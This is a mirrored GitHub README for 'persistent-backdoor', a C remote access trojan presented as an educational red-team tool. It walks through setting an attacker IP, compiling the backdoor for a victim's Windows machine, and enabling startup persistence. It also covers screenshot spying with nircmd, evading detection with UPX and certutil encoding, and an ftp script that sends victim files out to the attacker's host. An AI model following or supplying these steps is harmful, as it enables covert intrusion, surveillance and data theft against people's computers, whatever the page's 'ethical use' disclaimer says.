Coder Social home page Coder Social logo

persistent-backdoor's Introduction

C Persistent Encoded RAT

Version Stage Build Contributions Welcome
by Pol Galvez

Ethical Remote Access Tool for Red Teams / Educational use ONLY

Do not use for Black Hat purposes

alt text

How to Use

-> Configure Attacker IP:(backdoor.c - line 19)

char *ServIP  = "192.168.174.129";//Server IP

-> Configure Attacker IP:(server.c -line 90)

server_address.sin_addr.s_addr = inet_addr("192.168.174.129");//Server address

-> Compile client for victims windows machine:

i686-w64-mingw32-gcc -o /Documents/EternalPurple/backdoor.exe /Documents/EternalPurple/backdoor.c -lwsock32 -lwininet

->Compile server for linux attackers machine:

gcc /home/kali/Documents/EternalPurple/server.c -o /home/kali/Documents/EternalPurple/server.exe

->Execute

./server.exe
backdoor.exe

Commands assume that you have a linux OS and mingw installed Also that you have backdoor.c and server.c on a Folder Called EternalPurple on your Documents

Functionalities:

Enable run on startup:

alt text

Thanks to

thanks to • SCHØØL ZERØ • for tutorials on how to do this https://www.youtube.com/c/SCHØØLZERØ
Creating similar RAT
https://youtu.be/6Dc8i1NQhCM
Playlist on basic windows rat .dll
https://youtube.com/playlist?list=PLSqjYSJtqeaV1Hdk2ZVnr90KpDObfzDSs

Easy metasploit spyware tutorial:
https://youtu.be/V67VIQB7N0w

Other

To gain spyware functionalities you can use nircmd: https://www.nirsoft.net/utils/nircmd.html

nircmd command to take screenshots

nircmd.exe savescreenshot screen1.png

UPX to Obfuscate executable \n

UPX: https://upx.github.io

upx program.exe

You can also use certutil to encode executable

certutil -encode test.exe test.txt
certutil -decode test.txt test.exe

ftp echos to Download files change put for get to Upload (This is done client side on the Shell)

echo open 192.168.1.171 >> ftp.txt
echo kali>> ftp.txt
echo kali>> ftp.txt
echo bin>> ftp.txt
echo put s1.png>> ftp.txt
echo bye>> ftp.txt

ftp -s:ftp.txt

open 192.168.44.130
kali
kali
put P1010975.JPG
bye

image

License

Open Source
Free Software, Hell Yeah!

persistent-backdoor's People

Contributors

polgs avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.